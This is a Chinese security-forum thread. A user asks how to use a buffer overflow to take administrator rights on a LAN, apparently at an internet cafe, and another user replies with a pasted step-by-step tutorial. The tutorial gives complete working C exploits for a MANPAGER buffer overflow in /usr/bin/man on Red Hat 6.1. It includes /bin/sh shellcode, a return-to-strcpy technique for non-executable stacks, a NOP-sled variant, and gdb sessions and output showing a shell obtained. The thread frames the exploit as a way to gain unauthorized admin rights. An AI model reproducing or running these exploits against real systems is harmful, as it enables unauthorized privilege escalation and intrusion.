|
作者: creezy [creezy] 论坛用户 | 登录 |
请问有那位大虾会缓存溢出攻击?怎样用此法获得局域网中管理员的权限呢? 具体布骤是什么?谢谢赐教! |
地主 发表时间: 05/02 11:09 |
回复: ypy [ypy] 见习版主 | 登录 |
缓冲区溢出? 如果对缓冲区溢出有兴趣的话,最好先学好微机原理。 |
B1层 发表时间: 05/02 13:58 |
回复: creezy [creezy] 论坛用户 | 登录 |
谢谢指点!那可以在短时间内学会吗? |
B2层 发表时间: 05/03 10:15 |
回复: bay [bay] 论坛用户 | 登录 |
呵呵~ 缓存溢出功击!的攻击有很多啊~ 你去看看技术文章~至于怎样取得区域网的管理权限,那就是盗的ROOT的密码了~ 做ROOT你可以为所欲为~但是毕竟是网吧。老板不会在乎你~现在网吧机子上大多有些还原软件~你游乐管理权限只能免费上一会网~但是不是很长时间就被发现的 你去看看下面的文章吧~ 前言: 本文描述了一次完整的缓冲区溢出攻击,是从理论走向实践的逐步演练。 测试: Linux redhat-6.1 2.2.12-20 i386 目录: 1. 简介 2. 问题描述 3. 攻击思路 4. 攻击第一步,猜测确定几个关键地址 (1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口 (2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可 执行的区域地址 (3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址 (4) 猜测确定问题缓冲区溢出点 5. 编写针对不可执行堆栈环境的溢出攻击程序 6. 一个辅助观察execle()之后内存布局的小程序 7. 编写针对常规环境下的溢出攻击程序 8. 关于core文件以及确定溢出点 9. 总结 1. 简介 我在 http://www.hack.co.za 上看到 Lam3rZ 小组的 Kil3r 写的一个针对 redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并 没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机 没有打不可执行堆栈补丁等等。其实针对不可执行堆栈环境的缓冲区溢出技术同样可 以用于"常规"环境,所以就此次攻击做一完整描述,抛砖引玉,见笑。 2. 问题描述 /usr/bin/man 会使用 MANPAGER 环境变量,关于这个变量的细节请 man man 查看。 当 MANPAGER 变量设置成超长字符串时,会导致 /usr/bin/man 执行中缓冲区溢出。 [scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x1'` [scz@ /home/scz/src]> man ls sh: A: command not found Error executing formatting or display command. System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i"; /bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu+10") | /usr/bin/gtbl | /usr/bin/groff -Tlatin1 -mandoc | A) exited with status 127. No manual entry for ls ^ [scz@ /home/scz/src]> | | ------<------ 注意这里就是 MANPAGER 变量 注意到命令最后通过管道符'|'传递给了 MANPAGER 变量所指定的程序。 我们重复类似的操作,不断加大 MANPAGER 变量的长度,直到发生溢出。用"二分法" 较快地确定出当长度最小为 3945 时,缓冲区溢出并导致段错误。 [scz@ /home/scz/src]> export MANPAGER=`perl -e 'print "A"x3945'` [scz@ /home/scz/src]> man ls sh: A...A: command not found Error executing formatting or display command. System command (cd /usr/man ; (echo -e ".ll 9.9i\n.pl 1100i"; /bin/cat /usr/man/man1/ls.1; echo ".pl \n(nlu+10") | /usr/bin/gtbl | /usr/bin/groff -Tlatin1 -mandoc | A...A) exited with status 127. Segmentation fault <-- -- -- 这里已经出现段错误,通常是指针操作访问非法地 [scz@ /home/scz/src]> 址造成,很可能某个函数的返回地址已经被覆盖掉 [scz@ /home/scz/src]> unset MANPAGER <-- -- -- 这里删除该环境变量恢复正常 3. 攻击思路 姑且假设 /usr/bin/man 执行过程中读取 MANPAGER 变量到一个缓冲区中,由于未做 边界检查导致溢出,并覆盖了某个函数的返回地址。显然,覆盖值来自 MANPAGER 变 量的值,换句话说,用于覆盖的返回地址来自 MANPAGER 变量的值。 在"常规"环境下,理论上可以直接通过 MANPAGER 变量传递用于覆盖的返回地址以及 shellcode本身,因为3945大小的缓冲区已经足以做任何事情,也可以仅仅通过 MANPAGER 变量传递用于覆盖的返回地址,利用其他自定义环境变量传递shellcode。 在不可执行堆栈环境下,上述两种传递shellcode的办法都因为shellcode位于堆栈高 区,无法覆盖返回地址指向我们的shellcode。请参看tt在绿盟网络安全月刊第8期中 的<< 绕过Linux不可执行堆栈保护方法浅析 >>,具体的技术原理不再赘述。 Lam3rZ 小组的 Kil3r 所编写的exploit code采用的技术是,用于覆盖的返回地址指 向 strcpy() 函数的 PLT 入口(过程链接表入口),同时在堆栈中利用 MANPAGER 变 量的缓冲区溢出,伪造一个发生常规 strcpy() 函数调用时所需要的假栈帧。 shellcode采用自定义环境变量的技术传递进入堆栈高区,因为使用了 execle() 函 数调用,该shellcode在 /usr/bin/man 进程地址空间中的位置相对固定,很容易猜 测调整。当返回地址被成功覆盖后,程序流程随着问题函数的返回而转向一个 strcpy() 函数调用,strcpy() 函数调用会将shellcode从 /usr/bin/man 进程的环 境变量区(堆栈高区)拷贝到另外一个区域,这个区域要求在不可执行堆栈环境下依旧 可写可执行,该区域必须在 /usr/bin/man 进程的地址空间内。显然,这个区域的地 址需要提前猜测确定,因为该区域的地址作为 strcpy() 函数调用的目标地址,必须 在伪造假栈帧时提供,后面我们会介绍猜测确定该区域地址的技术手段。 至于 strcpy() 函数调用完成,我们的shellcode已经进入可执行区域,流程又是如 何转向我们自己的shellcode,请参看tt在绿盟网络安全月刊第8期中的 << 绕过Linux不可执行堆栈保护方法浅析 >>,内有图示,我看得头都快白了,总算 理解,chat* sigh。 从上面的攻击思路分析中完全可以看出,Lam3rZ 小组的 Kil3r 的攻击手段适用范围 要广些,所以我们先采用这种技术完成一次攻击。 4. 攻击第一步,猜测确定几个关键地址 (1) 确定 /usr/bin/man 中 strcpy() 函数的 PLT 入口 [scz@ /home/scz/src]> gdb /usr/bin/man GNU gdb 4.18 This GDB was configured as "i386-redhat-linux"... (gdb) p strcpy $1 = {<text variable, no debug info>} 0x80490e4 <strcpy> (gdb) q ^ [scz@ /home/scz/src]> | | #define STRCPYPLT 0x080490e4 ------>------ 因为缓冲区溢出发生在 /usr/bin/man 进程地址空间中,我们需要确定的 strcpy() 函数的 PLT 入口也应该是 /usr/bin/man 中 strcpy() 函数的 PLT 入口。该入口 和 /usr/bin/man 文件二进制映像有关,对于某个确定的elf格式的程序文件,该 入口相对固定。 (2) 猜测确定一个在不可执行堆栈环境下 /usr/bin/man 进程空间中可写可执行的区 域地址 [scz@ /home/scz/src]> man ls Ctrl-Z <-- -- -- 输入 Ctrl-Z 挂起 man ls [scz@ /home/scz/src]> jobs [1]+ Stopped man ls [scz@ /home/scz/src]> ps -ef | grep man scz 2377 1860 0 12:03 pts/2 00:00:00 man ls [scz@ /home/scz/src]> cat /proc/2377/maps 08050000-08051000 rw-p 00007000 03:06 36427 /usr/bin/man [scz@ /home/scz/src]> fg %1 q <-- -- -- 退出 man ls [scz@ /home/scz/src]> 这个区域显示的是可读写,并没有可执行,但实际是可执行的。我们挑选一个处在4 字节对齐边界上的地址,将来shellcode最终被拷贝到该地址并在该地址上开始执行。 #define SHELLCODETARGET 0x0805010c 注意,这里的 SHELLCODETARGET 需要出现在 MANPAGER 环境变量中,所以不得出现 零值。我当时挑选了 0x08050100 ,结果总是不能正确溢出,后来才想起这个毛病所 在。 我们可以不通过 /proc/<pid>/maps 文件查找满足条件的区域地址,而直接使用 strcpy() 函数的 GOT 入口(全局偏移表入口)地址。 [scz@ /home/scz/src]> gdb /usr/bin/man GNU gdb 4.18 This GDB was configured as "i386-redhat-linux"... (gdb) disas strcpy 0x80490e4 <strcpy> : jmp *0x8050cac 0x80490ea <strcpy+6> : push $0x1d8 <-- -- -- 动态链接器使用 0x80490ef <strcpy+11>: jmp 0x8048d24 (gdb) x/1wx 0x8050cac <-- -- -- 全局偏移表中 strcpy 入口地址 0x8050cac <_IO_stdin_used+11176>: 0x080490ea (gdb) q [scz@ /home/scz/src]> #define STRCPYPLT 0x080490e4 #define STRCPYGOT 0x08050cac #define SHELLCODETARGET STRCPYGOT 显然 STRCPYGOT 符合可写可执行区域的条件。可能你担心直接使用 STRCPYGOT 作为 目标地址,会影响到 strcpy() 函数本身的执行过程。仔细研读上面汇编代码,使用 STRCPYGOT 的时候还没有发生字符串拷贝,换句话说,发生字符串拷贝的时候已经无 所谓 STRCPYGOT 处是什么内容了,反正我们的shellcode是不会使用 strcpy() 函数 的。要是还不放心,就不要直接使用 STRCPYGOT 作为目标地址,而使用 STRCPYGOT + 4 作为目标地址,只是不知道全局偏移表中 strcpy 入口地址的下一个又是什么函 数的入口地址,反正都无所谓。 (3) 猜测确定位于 /usr/bin/man 进程环境变量区的shellcode地址 下面的讨论基于一个假设,你已经明白elf文件的内存布局。我们需要通过环境变量 传递shellcode进入 /usr/bin/man 的进程空间,strcpy() 使用这里的shellcode作 为拷贝源。猜测确定拷贝源地址是必须的。 #define VULPROGRAM "/usr/bin/man" #define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) ) 这里唯一需要注意的是 sizeof( VULPROGRAM ) 包括了结尾的'\0'。如果担心不够精 确,可以在shellcode的前部增加 NOP 指令。 上面的技术适用于i386/Linux平台,对于SPARC/Solaris平台这样相对复杂的情况, 还可以采用辅助程序观察execle()之后的内存布局,我们在条目6中介绍。 (4) 猜测确定问题缓冲区溢出点 实际上攻击从问题描述就已经开始了,发现问题的同时就开始了攻击过程,问题缓冲 区溢出点显然可以从 3945 + 9 = 3954 附近考虑。但是,不知道什么缘故,居然无 法得到core文件,也就无法深入调试,最后只好参看 Kil3r 的exploit code,发现 他使用的溢出点在4067,因为没有core文件,无法确定发生了什么,为什么3954已经 开始溢出,但真正有效溢出点却在4067,中间相差这么多字节,没有core的日子真难 过。 #define VULPOINT 4067 5. 编写针对不可执行堆栈环境的溢出攻击程序 /* * File : ex_man.c for redhat 6.1 /usr/bin/man * Author : Kil3r of Lam3rZ * Rewriten : scz < mailto: scz@isbase.com > * Complie : gcc -o ex_man ex_man.c * Usage : ./ex_man * Date : 2000-05-16 */ #include <stdio.h> #include <string.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> /* 一段标准的linux/i386下的shellcode */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #define STRCPYPLT 0x080490e4 #define STRCPYGOT 0x08050cac #define RETADDRESS STRCPYPLT /* 用于覆盖的返回地址 */ #define SHELLCODETARGET STRCPYGOT #define SHELLCODESOURCE ( 0xbffffffc - sizeof( VULPROGRAM ) - sizeof( shellcode ) ) #define VULPROGRAM "/usr/bin/man" #define VULPOINT 4067 #define SAFEPADLEN 24 #define PAD 'A' #define SUCCESS 0 #define FAILURE -1 int main ( int argc, char * argv[] ) { char * vulbuf; char * env[3]; u_long * pointer; u_long vulPoint = VULPOINT; u_long vulBufSize = VULPOINT + SAFEPADLEN; fprintf( stderr, "Usage: %s [ vulPoint ]\n", argv[0] ); if ( argc > 1 ) { vulPoint = strtoul( argv[1], NULL, 10 ); vulBufSize = vulPoint + SAFEPADLEN; } vulbuf = ( char * )malloc( ( size_t )( vulBufSize ) ); if ( vulbuf == 0 ) { fprintf( stderr, "Can't allocate memory %lu bytes\n", vulBufSize ); exit( FAILURE ); } fprintf( stderr, "vulPoint = %lu\n", vulPoint ); memset( vulbuf, PAD, vulBufSize ); vulbuf[ vulBufSize - 1 ] = '\0'; pointer = ( u_long * )( vulbuf + vulPoint ); *pointer++ = RETADDRESS; *pointer++ = SHELLCODETARGET; *pointer++ = SHELLCODETARGET; *pointer++ = SHELLCODESOURCE; memcpy( vulbuf, "MANPAGER=", 9 ); env[0] = vulbuf; env[1] = shellcode; env[2] = NULL; execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env ); free( vulbuf ); return( SUCCESS ); } /* end of main */ [scz@ /home/scz/src]> cat > ex_man.c [scz@ /home/scz/src]> gcc -o ex_man ex_man.c [scz@ /home/scz/src]> ./ex_man Usage: ./ex_man [ vulPoint ] vulPoint = 4067 bash$ id uid=505(scz) gid=100(users) egid=15(man) groups=100(users) bash$ exit ^ exit | [scz@ /home/scz/src]> | 溢出成功 ------>------ 这里根本没有使用传统的 get_esp() 函数,而且这个exploit code适用于常规环境。 但是这种溢出攻击技术,需要精确覆盖返回地址,并且无法采用传统的大段返回地址 覆盖一片区域的方式,因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意 到,实际上我们现在唯一需要调整的就是溢出点,可以考虑暴力猜测调整溢出点。再 就是,这次关键没有core dump出现,一般都有core dump,那样的话就可以不用暴力 猜测调整了。 我还碰到一个问题,该exploit code在SecureCRT或者CRT下执行都无法取得shell, 虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell,原因未明。建议 如果实在无法取得shell,考虑换个终端工具试试(tt胡言乱语),faint 6. 一个辅助观察execle()之后内存布局的小程序 /* * gcc -o ev ev.c * scz < mailto: scz@isbase.com > */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #define SUCCESS 0 #define FAILURE -1 #define ENVDATA 0xbfffff00 #define ENVDATALEN 256 void outputBinary ( const unsigned char * byteArray, const size_t byteArrayLen ) { u_long offset; int i, j, k; fprintf( stderr, "byteArray [ %lu bytes ] ----> \n", byteArrayLen ); if ( byteArrayLen <= 0 ) { return; } i = 0; offset = 0; for ( k = byteArrayLen / 16; k > 0; k--, offset += 16 ) { fprintf( stderr, "%08X ", offset ); for ( j = 0; j < 16; j++, i++ ) { if ( j == 8 ) { fprintf( stderr, "-%02X", byteArray[i] ); } else { fprintf( stderr, " %02X", byteArray[i] ); } } fprintf( stderr, " " ); i -= 16; for ( j = 0; j < 16; j++, i++ ) { /* if ( isprint( (int)byteArray[i] ) ) */ if ( ( byteArray[i] >= ' ' ) && ( byteArray[i] <= 255 ) ) { fprintf( stderr, "%c", byteArray[i] ); } else { fprintf( stderr, "." ); } } fprintf( stderr, "\n" ); } /* end of for */ k = byteArrayLen - i; if ( k <= 0 ) { return; } fprintf( stderr, "%08X ", offset ); for ( j = 0 ; j < k; j++, i++ ) { if ( j == 8 ) { fprintf( stderr, "-%02X", byteArray[i] ); } else { fprintf( stderr, " %02X", byteArray[i] ); } } i -= k; for ( j = 16 - k; j > 0; j-- ) { fprintf( stderr, " " ); } fprintf( stderr, " " ); for ( j = 0; j < k; j++, i++ ) { if ( ( byteArray[i] >= ' ' ) && ( byteArray[i] <= 255 ) ) { fprintf( stderr, "%c", byteArray[i] ); } else { fprintf( stderr, "." ); } } fprintf( stderr, "\n" ); return; } /* end of outputBinary */ int main ( int argc, char * argv[] ) { u_char * envData = ( u_char * )ENVDATA; size_t envDataLen = ENVDATALEN; if ( argc > 1 ) { /* 采用16进制 */ envData = ( u_char * )strtoul( argv[1], NULL, 16 ); if ( argc > 2 ) { /* 采用10进制 */ envDataLen = ( size_t )strtoul( argv[2], NULL, 10 ); } } fprintf( stderr, "Usage: %s [ envData ] [ envDataLen ]\n", argv[0] ); fprintf( stderr, "envData = %p\n", envData ); fprintf( stderr, "envDataLen = %lu\n", envDataLen ); outputBinary( envData, envDataLen ); return( SUCCESS ); } /* end of main */ 程序很简单,就是显示一段内存映像。我们所要做的,就是把exploit code里的几个 地方修改一下: #define VULPROGRAM "./ev" execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env ); 这样观察得到的shellcode源地址显然不适用,因为这里的./ev和/usr/bin/man长度 不一样,熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下: cp ev usrbin_man #define VULPROGRAM "./usrbin_man" execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env ); 此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。 必须意识到 execle() 第一个形参对进程空间环境变量区的影响。 这种技术手段适用于SPARC/Solaris平台,我们利用它可以确定很多关键性地址,可 以调整那些需要n字节边界对齐的地方。 7. 编写针对常规环境下的溢出攻击程序 -------------------------------------------------------------------------- /* * File : ex_man.c for redhat 6.1 /usr/bin/man * Author : Kil3r of Lam3rZ * Rewriten : warning3 < mailto: warning3@isbase.com > * Complie : gcc -o ex_man ex_man.c * Usage : ./ex_man * Date : 2000-05-16 */ #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <string.h> #include <sys/types.h> /* 一段标准的linux/i386下的shellcode */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #define VULPROGRAM "/usr/bin/man" #define VULPOINT 4067 #define NOP 0x90 #define SUCCESS 0 #define FAILURE -1 #define OFFSET 2000 unsigned long get_esp ( void ) { __asm__ (" movl %esp, %eax "); } /* end of get_esp */ int main ( int argc, char * argv[] ) { char * env[2]; u_long * pointer; u_long retAddress; char vulbuf[ VULPOINT + 5 ]; memset( vulbuf, NOP, VULPOINT + 5 ); memcpy( vulbuf + VULPOINT - ( strlen( shellcode ) + 20 ), shellcode, strlen( shellcode ) ); retAddress = get_esp() + OFFSET; pointer = ( u_long * )( vulbuf + VULPOINT ); *pointer = retAddress; fprintf( stderr, "retAddress = 0x%08x\n", retAddress ); memcpy( vulbuf, "MANPAGER=", 9 ); vulbuf[ VULPOINT + 4 ] = '\0'; env[0] = vulbuf; env[1] = NULL; execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env ); return( SUCCESS ); } /* end of main */ -------------------------------------------------------------------------- 在调试这个程序的时候,我们发现 MANPAGER 环境变量值长度在某个地方被检查过, 只是这个检查对于溢出攻击取得shell并没有起到保护作用。 为什么这里定义 OFFSET 为2000呢,可以采用条目6中的办法来观察一下execle()之 后环境变量区里的内容,简单修改如下: -------------------------------------------------------------------------- #define VULPROGRAM "./usrbin_man" ... ... execle( VULPROGRAM, VULPROGRAM, argv[1], NULL, env ); return( SUCCESS ); } /* end of main */ -------------------------------------------------------------------------- 偏移为2000的时候返回地址落在NOP区内。那么溢出点4067呢?没办法,还是从前一 个程序里直接获知的,有core dump的时候可以调试确定。 8. 关于core文件以及确定溢出点 以前知道一点产生core dump的条件,但感受不深,今天都快要结束本篇灌水了,才 真正感受了一下。 我拷贝了一个/usr/bin/man到当前目录~scz/src下,然后定义问题程序为./man,此 时以scz用户身份运行exploit code,故意不正确覆盖返回地址,立即得到 core dump。 后来又以root身份在几个不同的当前目录下测试不同的组合情况,有些时候会得到 core dump,有些时候只报告段溢出。core文件是内存映像文件,与产生它的进程密 切相关,而产生进程对应硬盘文件的属主、权限以及当前执行它的用户身份都与是否 产生core dump有关。情况虽然很复杂很多,但至少有一点可以肯定,如果包括 exploit code和问题程序在内的的所有文件都是当前用户所有,段溢出时一般都会 core dump在当前目录下。对于上面的/usr/bin/man,我们完全可以调试./man找到 溢出点。此外需要提醒的是,如果希望得到正确的core dump,一定要先删除当前目 录下已经存在的core文件。 之所以这样限制core dump,应该有其安全方面的考虑。下面我们来简单看看如何确 定./man的溢出点。 -------------------------------------------------------------------------- /* * gcc -o ex_man ex_man.c * * 目的就是产生core dump */ #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <string.h> #include <sys/types.h> #define VULPROGRAM "./man" #define PAD_1 'A' #define PAD_2 'B' #define SUCCESS 0 #define FAILURE -1 int main ( int argc, char * argv[] ) { char * vulbuf = NULL; char * env[2]; u_long vulbufSize; if ( argc != 2 ) { fprintf( stderr, "Usage: %s <vulbufSize>\n", argv[0] ); return( FAILURE ); } vulbufSize = strtoul( argv[1], NULL, 10 ); vulbuf = ( char * )malloc( vulbufSize ); if ( vulbuf == NULL ) { fprintf( stderr, "Can't allocate memory %lu bytes\n", vulbufSize ); return( FAILURE ); } memset( vulbuf, PAD_1, vulbufSize ); vulbuf[ vulbufSize - 5 ] = PAD_2; vulbuf[ vulbufSize - 4 ] = PAD_2; vulbuf[ vulbufSize - 3 ] = PAD_2; vulbuf[ vulbufSize - 2 ] = PAD_2; vulbuf[ vulbufSize - 1 ] = '\0'; memcpy( vulbuf, "MANPAGER=", 9 ); env[0] = vulbuf; env[1] = NULL; execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env ); free( vulbuf ); return( SUCCESS ); } /* end of main */ -------------------------------------------------------------------------- [scz@ /home/scz/src]> ./ex_man 5000 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core GNU gdb 4.18 Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () #0 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () Cannot access memory at address 0x41414141. (gdb) q [scz@ /home/scz/src]> 说明5000已经导致返回地址被覆盖成0x41414141,考虑减小该值。重复类似步骤,直 到发现4063仍未溢出,4064开始溢出,并core dump。 [scz@ /home/scz/src]> ./ex_man 4063 [scz@ /home/scz/src]> ./ex_man 4064 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core GNU gdb 4.18 Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () #0 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () Cannot access memory at address 0x41414141. (gdb) q [scz@ /home/scz/src]> ./ex_man 4065 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core Core was generated by `./man ls'. Program terminated with signal 11, Segmentation fault. #0 0x0 in ?? () (gdb) bt #0 0x0 in ?? () (gdb) q [scz@ /home/scz/src]> ./ex_man 4066 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core #0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30 (gdb) bt #0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30 Cannot access memory at address 0xbf004236. (gdb) q [scz@ /home/scz/src]> ./ex_man 4067 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core #0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30 30 ../sysdeps/generic/strcpy.c: No such file or directory. (gdb) bt #0 0x804a3de in strcpy () at ../sysdeps/generic/strcpy.c:30 Cannot access memory at address 0x424236. (gdb) q [scz@ /home/scz/src]> ./ex_man 4068 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core #0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30 30 ../sysdeps/generic/strcpy.c: No such file or directory. (gdb) bt #0 0x804a362 in strcpy () at ../sysdeps/generic/strcpy.c:30 #1 0x807d948 in ?? () Cannot access memory at address 0x42424242. (gdb) q [scz@ /home/scz/src]> ./ex_man 4069 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core #0 0x8040042 in ?? () (gdb) bt #0 0x8040042 in ?? () Cannot access memory at address 0x42424241. (gdb) q [scz@ /home/scz/src]> ./ex_man 4070 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core #0 0x8004242 in ?? () (gdb) bt #0 0x8004242 in ?? () Cannot access memory at address 0x42424141. (gdb) q [scz@ /home/scz/src]> ./ex_man 4071 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core #0 0x424242 in ?? () (gdb) bt #0 0x424242 in ?? () Cannot access memory at address 0x42414141. (gdb) q [scz@ /home/scz/src]> ./ex_man 4072 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core #0 0x42424242 in ?? () (gdb) bt #0 0x42424242 in ?? () Cannot access memory at address 0x41414141. (gdb) q [scz@ /home/scz/src]> ./ex_man 4073 Segmentation fault (core dumped) [scz@ /home/scz/src]> gdb ./man core #0 0x42424241 in ?? () (gdb) bt #0 0x42424241 in ?? () Cannot access memory at address 0x41414141. (gdb) q [scz@ /home/scz/src]> 在从4064到4073的分析观察过程中,我们显然已经看到,当取值4072的时候会覆盖一 个函数指针还是返回地址什么的,总之是个会导致控制流转移的4字节。注意到我们 测试程序中代码,溢出点应该在 4072 - 5 = 4067。至此,猜测确定溢出点的工作完 成了。至于为什么通过execle()执行和通过命令行shell执行时溢出点相差较远,我 也不清楚。看来以后确定溢出点,直接用程序猜测确定要准确些。 core文件的好处很多,这里仅仅列举了一种应用。以后看到core我就要看看什么宝贝 其中,说不好一个shadow就来了。grin 9. 总结 a) 可以利用条目6的办法观察execle()之后环境变量区内容,确定很多地址。 b) 无法溢出取得shell的时候尝试换个终端登录工具。 c) 没有core dump,你就去死吧。一定要想法得到core文件,进而调试确定问题程序 溢出点。得不到core时仔细检查相关文件权限以及当前用户身份。 < 完 > |
B3层 发表时间: 05/03 11:42 |
回复: dormouse [dormouse] 论坛用户 | 登录 |
你好能粘。。。。。服了。。。我都晕啦。 |
B4层 发表时间: 05/03 18:50 |
回复: creezy [creezy] 论坛用户 | 登录 |
谢谢以上各位仁兄的指点?我会拿下去仔细研究的! |
B5层 发表时间: 05/04 09:20 |
回复: feiying [feiying] 论坛用户 | 登录 |
利用IIS漏洞,即缓存攻击 |
B6层 发表时间: 05/04 16:43 |
回复: hl82 [hl82] 论坛用户 | 登录 |
太难了! |
B7层 发表时间: 05/04 20:18 |
回复: bay [bay] 论坛用户 | 登录 |
哈哈~ 谢谢夸奖!~其实我也没看懂~ 贴在此是为了,比我有耐心的人看的~ 不好意思哦~ |
B8层 发表时间: 05/06 10:59 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号